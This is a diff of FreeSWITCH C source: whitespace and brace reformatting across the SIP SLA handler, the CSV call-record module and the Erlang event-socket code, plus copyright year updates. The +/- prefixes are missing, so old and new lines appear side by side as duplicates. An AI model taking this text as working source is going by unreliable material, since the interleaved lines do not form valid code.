switch_snprintf(port_str, sizeof(port_str), ":%ld", sofia_glue_transport_has_tls(transport) ? profile->tls_sip_port : profile->sip_port);
if (sofia_glue_check_nat(profile, network_ip)) {
sla_contact = switch_mprintf("<sip:%s@%s%s;transport=%s>", profile->sla_contact, profile->extsipip,
port_str, sofia_glue_transport2str(transport));
if (sofia_glue_check_nat(profile, network_ip)) {
sla_contact = switch_mprintf("<sip:%s@%s%s;transport=%s>", profile->sla_contact, profile->extsipip, port_str, sofia_glue_transport2str(transport));
} else {
sla_contact = switch_mprintf("<sip:%s@%s%s;transport=%s>", profile->sla_contact, profile->sipip,
port_str, sofia_glue_transport2str(transport));
sla_contact = switch_mprintf("<sip:%s@%s%s;transport=%s>", profile->sla_contact, profile->sipip, port_str, sofia_glue_transport2str(transport));
}
nua_respond(nh, SIP_202_ACCEPTED, SIPTAG_CONTACT_STR(sla_contact), NUTAG_WITH_THIS(nua),
TAG_IF(route_uri, NUTAG_PROXY(route_uri)),
SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"), /* you thought the OTHER time was fake... need delta here FIXME XXX MTK */
SIPTAG_EXPIRES_STR("300"), /* likewise, totally fake - FIXME XXX MTK */
nua_respond(nh, SIP_202_ACCEPTED, SIPTAG_CONTACT_STR(sla_contact), NUTAG_WITH_THIS(nua), TAG_IF(route_uri, NUTAG_PROXY(route_uri)), SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"), /* you thought the OTHER time was fake... need delta here FIXME XXX MTK */
SIPTAG_EXPIRES_STR("300"), /* likewise, totally fake - FIXME XXX MTK */
/* sofia_presence says something about needing TAG_IF(sticky, NUTAG_PROXY(sticky)) for NAT stuff? */
TAG_END());
switch_safe_free(aor);
switch_safe_free(subscriber);
switch_safe_free(route_uri);
@@ -251,7 +244,8 @@ struct sla_notify_helper {
void sofia_sla_handle_sip_r_subscribe(int status,
char const *phrase,
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[])
nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
tagi_t tags[])
{
if (status >= 300) {
nua_handle_destroy(nh);
@@ -267,8 +261,8 @@ void sofia_sla_handle_sip_r_subscribe(int status,
}
if ((sql = switch_mprintf("insert into sip_shared_appearance_dialogs (profile_name, hostname, contact_str, call_id, expires) "
"values ('%q','%q','%q','%q','%ld')",
profile->name, mod_sofia_globals.hostname, contact_str, sip->sip_call_id->i_id, (long)expires))) {
"values ('%q','%q','%q','%q','%ld')",
profile->name, mod_sofia_globals.hostname, contact_str, sip->sip_call_id->i_id, (long) expires))) {
sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
}
@@ -298,20 +292,20 @@ void sofia_sla_handle_sip_i_notify(nua_t *nua, sofia_profile_t *profile, nua_han
* yet check each AOR as it comes in to see if it is to be managed, is more subscribers than we probably
* should have). for the current prototype stage, this works ok anyway.
* and because we don't parse the XML, we even reflect it right back to the notifier/sender (which is called
* "target" in the payload XML, of course).
* "target" in the payload XML, of course).
* also because we don't track on a per-appearance basis, there IS NOT a hook back from sofia_glue to add
* an appearance index to the outbound invite for the "next free appearance". this can lead to race
* conditions where a call shows up on slightly different line key numbers at different phones, making
* "pick up on line X" meaningless if such a race occurs. again, it is a prototype. we can fix it later.
*/
*/
/* the dispatcher calls us just because it is aimed at us, so check to see if it is dialog;sla at the very least... */
if ( (!sip->sip_event)
|| (strcasecmp(sip->sip_event->o_type, "dialog"))
|| !msg_params_find(sip->sip_event->o_params, "sla") ) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,"sent to sla-agent but not dialog;sla\n");
if ((!sip->sip_event)
|| (strcasecmp(sip->sip_event->o_type, "dialog"))
|| !msg_params_find(sip->sip_event->o_params, "sla")) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "sent to sla-agent but not dialog;sla\n");
return;
}
@@ -326,16 +320,15 @@ void sofia_sla_handle_sip_i_notify(nua_t *nua, sofia_profile_t *profile, nua_han
* so we don't reflect it back at anyone who is the "boss" config, but we do reflect it back at the "secretary"
* config. if that breaks the phone, just set them all up as the "boss" config where ext#==third-party#
*/
contact = switch_mprintf("sip:%s@%s;transport=%s",sip->sip_contact->m_url->url_user,
contact = switch_mprintf("sip:%s@%s;transport=%s", sip->sip_contact->m_url->url_user,
sip->sip_contact->m_url->url_host, sofia_glue_transport2str(transport));
if (sip->sip_payload && sip->sip_payload->pl_data) {
sql = switch_mprintf("select subscriber,call_id,aor,profile_name,hostname,contact_str,network_ip from sip_shared_appearance_subscriptions where "
"aor='%q' and profile_name='%q' and hostname='%q'",
aor, profile->name, mod_sofia_globals.hostname);
"aor='%q' and profile_name='%q' and hostname='%q'", aor, profile->name, mod_sofia_globals.hostname);
helper.profile = profile;
helper.payload = sip->sip_payload->pl_data; /* could just send the WHOLE payload. you'd get the type that way. */
helper.payload = sip->sip_payload->pl_data; /* could just send the WHOLE payload. you'd get the type that way. */
/* which mutex if any is correct to hold in this callback? XXX MTK FIXME */
sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, sofia_sla_sub_callback, &helper);
@@ -360,7 +353,7 @@ static int sofia_sla_sub_callback(void *pArg, int argc, char **argv, char **colu
char *route_uri = NULL;
char *xml_fixup = NULL;
char *fixup = NULL;
nh = nua_handle_by_call_id(helper->profile->nua, call_id); /* that's all you need to find the subscription's nh */
nh = nua_handle_by_call_id(helper->profile->nua, call_id); /* that's all you need to find the subscription's nh */
if (nh) {
@@ -384,24 +377,21 @@ static int sofia_sla_sub_callback(void *pArg, int argc, char **argv, char **colu
}
if (helper->profile->extsipip) {
if (sofia_glue_check_nat(helper->profile, network_ip)) {
if (sofia_glue_check_nat(helper->profile, network_ip)) {
fixup = switch_string_replace(helper->payload, helper->profile->sipip, helper->profile->extsipip);
} else {
} else {
fixup = switch_string_replace(helper->payload, helper->profile->extsipip, helper->profile->sipip);
}
xml_fixup = fixup;
} else {
xml_fixup = helper->payload;
}
nua_notify(nh,
SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"), /* XXX MTK FIXME - this is totally fake calculation */
TAG_IF(route_uri, NUTAG_PROXY(route_uri)),
SIPTAG_CONTENT_TYPE_STR("application/dialog-info+xml"), /* could've just kept the type from the payload */
SIPTAG_PAYLOAD_STR(xml_fixup),
TAG_END());
nua_notify(nh, SIPTAG_SUBSCRIPTION_STATE_STR("active;expires=300"), /* XXX MTK FIXME - this is totally fake calculation */
TAG_IF(route_uri, NUTAG_PROXY(route_uri)), SIPTAG_CONTENT_TYPE_STR("application/dialog-info+xml"), /* could've just kept the type from the payload */
SIPTAG_PAYLOAD_STR(xml_fixup), TAG_END());
switch_safe_free(route_uri);
if (fixup && fixup != helper->payload) {
if (fixup && fixup != helper->payload) {
free(fixup);
}
}
File diff suppressed because it is too large. Load diff
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -161,7 +161,7 @@ static void write_cdr(const char *path, const char *log_line)
do_rotate(fd);
switch_yield(250000);
}
if (bytes_in > 0) {
fd->bytes += bytes_in;
}
@@ -215,15 +215,16 @@ static switch_status_t my_on_reporting(switch_core_session_t *session)
free(buf);
}
}
g_template_str = (const char *) switch_core_hash_find(globals.template_hash, globals.default_template);
if ((accountcode = switch_channel_get_variable(channel, "ACCOUNTCODE"))) {
a_template_str = (const char *) switch_core_hash_find(globals.template_hash, accountcode);
}
if (!g_template_str) {
g_template_str = "\"${accountcode}\",\"${caller_id_number}\",\"${destination_number}\",\"${context}\",\"${caller_id}\",\"${channel_name}\",\"${bridge_channel}\",\"${last_app}\",\"${last_arg}\",\"${start_stamp}\",\"${answer_stamp}\",\"${end_stamp}\",\"${duration}\",\"${billsec}\",\"${hangup_cause}\",\"${amaflags}\",\"${uuid}\",\"${userfield}\";";
g_template_str =
"\"${accountcode}\",\"${caller_id_number}\",\"${destination_number}\",\"${context}\",\"${caller_id}\",\"${channel_name}\",\"${bridge_channel}\",\"${last_app}\",\"${last_arg}\",\"${start_stamp}\",\"${answer_stamp}\",\"${end_stamp}\",\"${duration}\",\"${billsec}\",\"${hangup_cause}\",\"${amaflags}\",\"${uuid}\",\"${userfield}\";";
}
if (!a_template_str) {
@@ -295,11 +296,11 @@ static switch_state_handler_table_t state_handlers = {
/*.on_hangup */ NULL,
/*.on_exchange_media */ NULL,
/*.on_soft_execute */ NULL,
/*.on_consume_media*/ NULL,
/*.on_hibernate*/ NULL,
/*.on_reset*/ NULL,
/*.on_park*/ NULL,
/*.on_reporting*/ my_on_reporting
/*.on_consume_media */ NULL,
/*.on_hibernate */ NULL,
/*.on_reset */ NULL,
/*.on_park */ NULL,
/*.on_reporting */ my_on_reporting
};
@@ -315,11 +316,11 @@ static switch_status_t load_config(switch_memory_pool_t *pool)
switch_core_hash_init(&globals.template_hash, pool);
globals.pool = pool;
switch_core_hash_insert(globals.template_hash, "default", default_template);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Adding default template.\n");
globals.legs = CDR_LEG_A;
if ((xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
if ((settings = switch_xml_child(cfg, "settings"))) {
@@ -344,9 +345,9 @@ static switch_status_t load_config(switch_memory_pool_t *pool)
globals.rotate = switch_true(val);
} else if (!strcasecmp(var, "default-template")) {
globals.default_template = switch_core_strdup(pool, val);
} else if (!strcasecmp(var, "master-file-only")) {
globals.masterfileonly = switch_true(val);
}
} else if (!strcasecmp(var, "master-file-only")) {
globals.masterfileonly = switch_true(val);
}
}
}
@@ -413,7 +414,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_cdr_csv_load)
SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_cdr_csv_shutdown)
{
globals.shutdown = 1;
globals.shutdown = 1;
switch_event_unbind_callback(event_handler);
switch_core_remove_state_handler(&state_handlers);
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -54,23 +54,24 @@
} while (0)
void ei_link(listener_t *listener, erlang_pid *from, erlang_pid *to) {
void ei_link(listener_t *listener, erlang_pid * from, erlang_pid * to)
{
char msgbuf[2048];
char *s;
int index = 0;
int ret;
index = 5; /* max sizes: */
ei_encode_version(msgbuf,&index); /* 1 */
ei_encode_tuple_header(msgbuf,&index,3);
ei_encode_long(msgbuf,&index,ERL_LINK);
ei_encode_pid(msgbuf,&index,from); /* 268 */
ei_encode_pid(msgbuf,&index,to); /* 268 */
index = 5; /* max sizes: */
ei_encode_version(msgbuf, &index); /* 1 */
ei_encode_tuple_header(msgbuf, &index, 3);
ei_encode_long(msgbuf, &index, ERL_LINK);
ei_encode_pid(msgbuf, &index, from); /* 268 */
ei_encode_pid(msgbuf, &index, to); /* 268 */
/* 5 byte header missing */
s = msgbuf;
put32be(s, index - 4); /* 4 */
put8(s, ERL_PASS_THROUGH); /* 1 */
put32be(s, index - 4); /* 4 */
put8(s, ERL_PASS_THROUGH); /* 1 */
/* sum: 542 */
switch_mutex_lock(listener->sock_mutex);
@@ -82,7 +83,7 @@ void ei_link(listener_t *listener, erlang_pid *from, erlang_pid *to) {
switch_mutex_unlock(listener->sock_mutex);
}
void ei_encode_switch_event_headers(ei_x_buff *ebuf, switch_event_t *event)
void ei_encode_switch_event_headers(ei_x_buff * ebuf, switch_event_t *event)
{
int i;
char *uuid = switch_event_get_header(event, "unique-id");
@@ -94,7 +95,7 @@ void ei_encode_switch_event_headers(ei_x_buff *ebuf, switch_event_t *event)
if (event->body)
i++;
ei_x_encode_list_header(ebuf, i+1);
ei_x_encode_list_header(ebuf, i + 1);
if (uuid) {
_ei_x_encode_string(ebuf, switch_event_get_header(event, "unique-id"));
@@ -118,7 +119,7 @@ void ei_encode_switch_event_headers(ei_x_buff *ebuf, switch_event_t *event)
}
void ei_encode_switch_event_tag(ei_x_buff *ebuf, switch_event_t *event, char *tag)
void ei_encode_switch_event_tag(ei_x_buff * ebuf, switch_event_t *event, char *tag)
{
ei_x_encode_tuple_header(ebuf, 2);
@@ -130,7 +131,7 @@ void ei_encode_switch_event_tag(ei_x_buff *ebuf, switch_event_t *event, char *ta
calls module:function(Ref). The response comes back as
{rex, {Ref, Pid}}
*/
int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function)
int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function)
{
ei_x_buff buf;
ei_x_new(&buf);
@@ -145,7 +146,7 @@ int ei_pid_from_rpc(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *mo
}
/* function to spawn a process on a remote node */
int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, char *function, int argc, char **argv)
int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref * ref, char *module, char *function, int argc, char **argv)
{
int i;
ei_x_buff buf;
@@ -154,7 +155,7 @@ int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, c
ei_x_encode_tuple_header(&buf, 3);
ei_x_encode_atom(&buf, "$gen_call");
ei_x_encode_tuple_header(&buf, 2);
ei_x_encode_pid(&buf, ei_self(ec));
ei_x_encode_pid(&buf, ei_self(ec));
ei_init_ref(ec, ref);
ei_x_encode_ref(&buf, ref);
ei_x_encode_tuple_header(&buf, 5);
@@ -165,18 +166,18 @@ int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, c
/* argument list */
if (argc < 0) {
ei_x_encode_list_header(&buf, argc);
for(i = 0; i < argc && argv[i]; i++) {
for (i = 0; i < argc && argv[i]; i++) {
ei_x_encode_atom(&buf, argv[i]);
}
}
ei_x_encode_empty_list(&buf);
/*if (i != argc - 1) {*/
/* horked argument list */
/*}*/
/*if (i != argc - 1) { */
/* horked argument list */
/*} */
ei_x_encode_pid(&buf, ei_self(ec)); /* should really be a valid group leader */
ei_x_encode_pid(&buf, ei_self(ec)); /* should really be a valid group leader */
#ifdef EI_DEBUG
ei_x_print_reg_msg(&buf, "net_kernel", 1);
@@ -191,11 +192,11 @@ int ei_spawn(struct ei_cnode_s *ec, int sockfd, erlang_ref *ref, char *module, c
#define MAX_REFERENCE (1 << _REF_NUM_SIZE)
/* function to fill in an erlang reference struct */
void ei_init_ref(ei_cnode *ec, erlang_ref *ref)
void ei_init_ref(ei_cnode * ec, erlang_ref * ref)
{
memset(ref, 0, sizeof(*ref)); /* zero out the struct */
memset(ref, 0, sizeof(*ref)); /* zero out the struct */
snprintf(ref->node, MAXATOMLEN, "%s", ec->thisnodename);
switch_mutex_lock(globals.ref_mutex);
globals.reference0++;
if (globals.reference0 >= MAX_REFERENCE) {
@@ -212,12 +213,12 @@ void ei_init_ref(ei_cnode *ec, erlang_ref *ref)
switch_mutex_unlock(globals.ref_mutex);
ref->creation = 1; /* why is this 1 */
ref->len = 3; /* why is this 3 */
ref->creation = 1; /* why is this 1 */
ref->len = 3; /* why is this 3 */
}
void ei_x_print_reg_msg(ei_x_buff *buf, char *dest, int send)
void ei_x_print_reg_msg(ei_x_buff * buf, char *dest, int send)
{
char *mbuf = NULL;
int i = 1;
@@ -233,7 +234,7 @@ void ei_x_print_reg_msg(ei_x_buff *buf, char *dest, int send)
}
void ei_x_print_msg(ei_x_buff *buf, erlang_pid *pid, int send)
void ei_x_print_msg(ei_x_buff * buf, erlang_pid * pid, int send)
{
char *pbuf = NULL;
int i = 0;
@@ -241,7 +242,7 @@ void ei_x_print_msg(ei_x_buff *buf, erlang_pid *pid, int send)
ei_x_new(&pidbuf);
ei_x_encode_pid(&pidbuf, pid);
ei_s_print_term(&pbuf, pidbuf.buff, &i);
ei_x_print_reg_msg(buf, pbuf, send);
@@ -249,7 +250,7 @@ void ei_x_print_msg(ei_x_buff *buf, erlang_pid *pid, int send)
}
int ei_sendto(ei_cnode *ec, int fd, struct erlang_process *process, ei_x_buff *buf)
int ei_sendto(ei_cnode * ec, int fd, struct erlang_process *process, ei_x_buff * buf)
{
int ret;
if (process->type == ERLANG_PID) {
@@ -273,19 +274,16 @@ int ei_sendto(ei_cnode *ec, int fd, struct erlang_process *process, ei_x_buff *b
/* convert an erlang reference to some kind of hashed string so we can store it as a hash key */
void ei_hash_ref(erlang_ref *ref, char *output)
void ei_hash_ref(erlang_ref * ref, char *output)
{
/* very lazy */
sprintf(output, "%d.%d.%d@%s", ref->n[0], ref->n[1], ref->n[2], ref->node);
}
int ei_compare_pids(erlang_pid *pid1, erlang_pid *pid2)
int ei_compare_pids(erlang_pid * pid1, erlang_pid * pid2)
{
if ((!strcmp(pid1->node, pid2->node)) &&
pid1->creation == pid2->creation &&
pid1->num == pid2->num &&
pid1->serial == pid2->serial) {
if ((!strcmp(pid1->node, pid2->node)) && pid1->creation == pid2->creation && pid1->num == pid2->num && pid1->serial == pid2->serial) {
return 0;
} else {
return 1;
@@ -293,20 +291,22 @@ int ei_compare_pids(erlang_pid *pid1, erlang_pid *pid2)
}
int ei_decode_string_or_binary(char *buf, int *index, int maxlen, char *dst) {
int ei_decode_string_or_binary(char *buf, int *index, int maxlen, char *dst)
{
int type, size, res;
long len;
ei_get_type(buf, index, &type, &size);
if (type != ERL_STRING_EXT && type != ERL_BINARY_EXT) {
return -1;
return -1;
} else if (size > maxlen) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested decoding of %s with size %d into a buffer of size %d\n", type == ERL_BINARY_EXT ? "binary" : "string", size, maxlen);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested decoding of %s with size %d into a buffer of size %d\n",
type == ERL_BINARY_EXT ? "binary" : "string", size, maxlen);
return -1;
} else if (type == ERL_BINARY_EXT) {
res = ei_decode_binary(buf, index, dst, &len);
dst[len] = '\0'; /* binaries aren't null terminated */
dst[len] = '\0'; /* binaries aren't null terminated */
} else {
res = ei_decode_string(buf, index, dst);
}
@@ -320,12 +320,12 @@ switch_status_t initialise_ei(struct ei_cnode_s *ec)
switch_status_t rv;
struct sockaddr_in server_addr;
struct hostent *nodehost;
char thishostname[EI_MAXHOSTNAMELEN+1] = "";
char thisnodename[MAXNODELEN+1];
char thishostname[EI_MAXHOSTNAMELEN + 1] = "";
char thisnodename[MAXNODELEN + 1];
/* zero out the struct before we use it */
memset(&server_addr, 0, sizeof(server_addr));
/* convert the configured IP to network byte order, handing errors */
rv = switch_inet_pton(AF_INET, prefs.ip, &server_addr.sin_addr.s_addr);
if (rv == 0) {
@@ -335,18 +335,18 @@ switch_status_t initialise_ei(struct ei_cnode_s *ec)
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error when parsing ip address %s : %s\n", prefs.ip, strerror(errno));
return SWITCH_STATUS_FALSE;
}
/* set the address family and port */
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(prefs.port);
#ifdef WIN32
if ((nodehost = gethostbyaddr((const char*)&server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
if ((nodehost = gethostbyaddr((const char *) &server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
#else
if ((nodehost = gethostbyaddr((const char*)&server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
if ((nodehost = gethostbyaddr((const char *) &server_addr.sin_addr.s_addr, sizeof(server_addr.sin_addr.s_addr), AF_INET)))
#endif
memcpy(thishostname, nodehost->h_name, EI_MAXHOSTNAMELEN);
if (zstr_buf(thishostname)) {
gethostname(thishostname, EI_MAXHOSTNAMELEN);
}
@@ -357,11 +357,11 @@ switch_status_t initialise_ei(struct ei_cnode_s *ec)
*off = '\0';
}
}
snprintf(thisnodename, MAXNODELEN+1, "%s@%s", prefs.nodename, thishostname);
snprintf(thisnodename, MAXNODELEN + 1, "%s@%s", prefs.nodename, thishostname);
/* init the ei stuff */
if (ei_connect_xinit(ec, thishostname, prefs.nodename, thisnodename, (Erl_IpAddr)(&server_addr.sin_addr.s_addr), prefs.cookie, 0) < 0) {
if (ei_connect_xinit(ec, thishostname, prefs.nodename, thisnodename, (Erl_IpAddr) (&server_addr.sin_addr.s_addr), prefs.cookie, 0) < 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to init ei connection\n");
return SWITCH_STATUS_FALSE;
}
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -37,7 +37,7 @@
static char *MARKER = "1";
static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf);
static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf);
static void *SWITCH_THREAD_FUNC api_exec(switch_thread_t *thread, void *obj)
{
@@ -131,7 +131,7 @@ static void *SWITCH_THREAD_FUNC api_exec(switch_thread_t *thread, void *obj)
} else {
ei_x_encode_atom(&rbuf, "error");
}
_ei_x_encode_string(&rbuf, reply);
@@ -163,7 +163,7 @@ static void *SWITCH_THREAD_FUNC api_exec(switch_thread_t *thread, void *obj)
}
static switch_status_t handle_msg_fetch_reply(listener_t *listener, ei_x_buff *buf, ei_x_buff *rbuf)
static switch_status_t handle_msg_fetch_reply(listener_t *listener, ei_x_buff * buf, ei_x_buff * rbuf)
{
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
void *p;
@@ -207,26 +207,24 @@ static switch_status_t handle_msg_fetch_reply(listener_t *listener, ei_x_buff *
ei_x_encode_atom(rbuf, "invalid_uuid");
}
/*switch_core_hash_insert(listener->fetch_reply_hash, uuid_str, nbuf);*/
/*switch_core_hash_insert(listener->fetch_reply_hash, uuid_str, nbuf); */
switch_safe_free(nbuf->buff);
switch_safe_free(nbuf);
}
return SWITCH_STATUS_SUCCESS;
}
static switch_status_t handle_msg_set_log_level(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
static switch_status_t handle_msg_set_log_level(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
switch_log_level_t ltype = SWITCH_LOG_DEBUG;
char loglevelstr[MAXATOMLEN];
if (arity != 2 ||
ei_decode_atom(buf->buff, &buf->index, loglevelstr)) {
if (arity != 2 || ei_decode_atom(buf->buff, &buf->index, loglevelstr)) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
}
else {
} else {
ltype = switch_log_str2level(loglevelstr);
if (ltype && ltype != SWITCH_LOG_INVALID) {
listener->level = ltype;
ei_x_encode_atom(rbuf, "ok");
@@ -239,7 +237,7 @@ static switch_status_t handle_msg_set_log_level(listener_t *listener, int arity,
return SWITCH_STATUS_SUCCESS;
}
static switch_status_t handle_msg_event(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
static switch_status_t handle_msg_event(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
char atom[MAXATOMLEN];
@@ -247,19 +245,18 @@ static switch_status_t handle_msg_event(listener_t *listener, int arity, ei_x_bu
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
}
else {
} else {
int custom = 0;
switch_event_types_t type;
int i = 0;
if (!switch_test_flag(listener, LFLAG_EVENTS)) {
switch_set_flag_locked(listener, LFLAG_EVENTS);
}
for (i = 1; i < arity; i++) {
if (!ei_decode_atom(buf->buff, &buf->index, atom)) {
if (custom) {
switch_core_hash_insert(listener->event_hash, atom, MARKER);
} else if (switch_name_event(atom, &type) == SWITCH_STATUS_SUCCESS) {
@@ -277,7 +274,7 @@ static switch_status_t handle_msg_event(listener_t *listener, int arity, ei_x_bu
if (type == SWITCH_EVENT_CUSTOM) {
custom++;
}
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "enable event %s\n", atom);
}
@@ -287,7 +284,7 @@ static switch_status_t handle_msg_event(listener_t *listener, int arity, ei_x_bu
return SWITCH_STATUS_SUCCESS;
}
static switch_status_t handle_msg_nixevent(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
static switch_status_t handle_msg_nixevent(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
char atom[MAXATOMLEN];
@@ -295,20 +292,19 @@ static switch_status_t handle_msg_nixevent(listener_t *listener, int arity, ei_x
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
}
else {
} else {
int custom = 0;
int i = 0;
switch_event_types_t type;
for (i = 1; i < arity; i++) {
if (!ei_decode_atom(buf->buff, &buf->index, atom)) {
if (custom) {
switch_core_hash_delete(listener->event_hash, atom);
} else if (switch_name_event(atom, &type) == SWITCH_STATUS_SUCCESS) {
uint32_t x = 0;
if (type == SWITCH_EVENT_CUSTOM) {
custom++;
} else if (type == SWITCH_EVENT_ALL) {
@@ -332,19 +328,16 @@ static switch_status_t handle_msg_nixevent(listener_t *listener, int arity, ei_x
return SWITCH_STATUS_SUCCESS;
}
static switch_status_t handle_msg_api(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
static switch_status_t handle_msg_api(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
char api_cmd[MAXATOMLEN];
char arg[1024];
if (arity < 3 ||
ei_decode_atom(buf->buff, &buf->index, api_cmd) ||
ei_decode_string(buf->buff, &buf->index, arg)) {
if (arity < 3 || ei_decode_atom(buf->buff, &buf->index, api_cmd) || ei_decode_string(buf->buff, &buf->index, arg)) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
return SWITCH_STATUS_SUCCESS;
}
else {
} else {
struct api_command_struct acs = { 0 };
acs.listener = listener;
acs.api_cmd = api_cmd;
@@ -357,24 +350,21 @@ static switch_status_t handle_msg_api(listener_t *listener, erlang_msg *msg, int
}
}
static switch_status_t handle_msg_bgapi(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
static switch_status_t handle_msg_bgapi(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
char api_cmd[MAXATOMLEN];
char arg[1024];
if (arity < 3 ||
ei_decode_atom(buf->buff, &buf->index, api_cmd) ||
ei_decode_string(buf->buff, &buf->index, arg)) {
if (arity < 3 || ei_decode_atom(buf->buff, &buf->index, api_cmd) || ei_decode_string(buf->buff, &buf->index, arg)) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
}
else {
} else {
struct api_command_struct *acs = NULL;
switch_memory_pool_t *pool;
switch_thread_t *thread;
switch_threadattr_t *thd_attr = NULL;
switch_uuid_t uuid;
switch_core_new_memory_pool(&pool);
acs = switch_core_alloc(pool, sizeof(*acs));
switch_assert(acs);
@@ -384,15 +374,15 @@ static switch_status_t handle_msg_bgapi(listener_t *listener, erlang_msg *msg, i
acs->arg = switch_core_strdup(acs->pool, arg);
acs->bg = 1;
acs->pid = msg->from;
switch_threadattr_create(&thd_attr, acs->pool);
switch_threadattr_detach_set(thd_attr, 1);
switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
switch_uuid_get(&uuid);
switch_uuid_format(acs->uuid_str, &uuid);
switch_thread_create(&thread, thd_attr, api_exec, acs, acs->pool);
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "ok");
_ei_x_encode_string(rbuf, acs->uuid_str);
@@ -400,18 +390,17 @@ static switch_status_t handle_msg_bgapi(listener_t *listener, erlang_msg *msg, i
return SWITCH_STATUS_SUCCESS;
}
static switch_status_t handle_msg_sendevent(listener_t *listener, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
static switch_status_t handle_msg_sendevent(listener_t *listener, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
{
char ename[MAXATOMLEN+1];
char esname[MAXATOMLEN+1];
char ename[MAXATOMLEN + 1];
char esname[MAXATOMLEN + 1];
int headerlength;
memset(esname, 0, MAXATOMLEN);
if (ei_decode_atom(buf->buff, &buf->index, ename) ||
(!strncasecmp(ename, "CUSTOM", MAXATOMLEN) &&
ei_decode_atom(buf->buff, &buf->index, esname)) ||
ei_decode_list_header(buf->buff, &buf->index, &headerlength)) {
ei_decode_atom(buf->buff, &buf->index, esname)) || ei_decode_list_header(buf->buff, &buf->index, &headerlength)) {
ei_x_encode_tuple_header(rbuf, 2);
ei_x_encode_atom(rbuf, "error");
ei_x_encode_atom(rbuf, "badarg");
@@ -420,29 +409,27 @@ static switch_status_t handle_msg_sendevent(listener_t *listener, int arity, ei_
if (switch_name_event(ename, &etype) == SWITCH_STATUS_SUCCESS) {
switch_event_t *event;
